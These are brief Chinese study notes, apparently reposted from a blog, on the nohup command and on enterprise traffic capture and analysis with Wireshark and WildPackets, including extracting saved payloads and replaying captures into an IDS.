nohup : 不挂断的运行,注意并没有后台运行的功能,,就是指,用nohup运行命令可以使命令永久的执行下去,和用户终端没有关系,例如我们断开SSH连接都不会影响的运行,注意了nohup没有后台运行的意思;&才是后台运行

第12章 补充

任务70:协议分析1.exe

企业级抓包,一般在公司网络出口部署抓包系统。进出公司 流量每天大概500G。

使用wireshark抓包,使用多个文件,每个文件设置大小。300M

不使用pcap-ng格式。

可以设置抓包筛选器以针对性的抓包,提高效率。

也可以全部抓取。

抓的时候没有文件名,添加pcap文件后缀。

wireshark的易用性,不太友好。

windows平台上有个比较友好的抓包软件:WildPackets

打开后进行抽样分析。

通常先做统计、分析、报表。

nodes 查看流量最大的IP

Protocols过滤不需要的协议

根据不同协议进行分类,然后打开分析,分析完毕后可以隐藏进行下一步分析。

save server date

save payload 把文件另存到别的地方

可以执行查找,选中packet ascii data字符,查找.doc,流的形式在新窗口打开。

可以把抓到的包重放到IDS里,自动分析。

可以手动逐个包进行分析。

第11章 无线攻击

单独记录

第13章 Web渗透

单独记录

————————————————

原文链接:/imtech/article/details/86521173

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。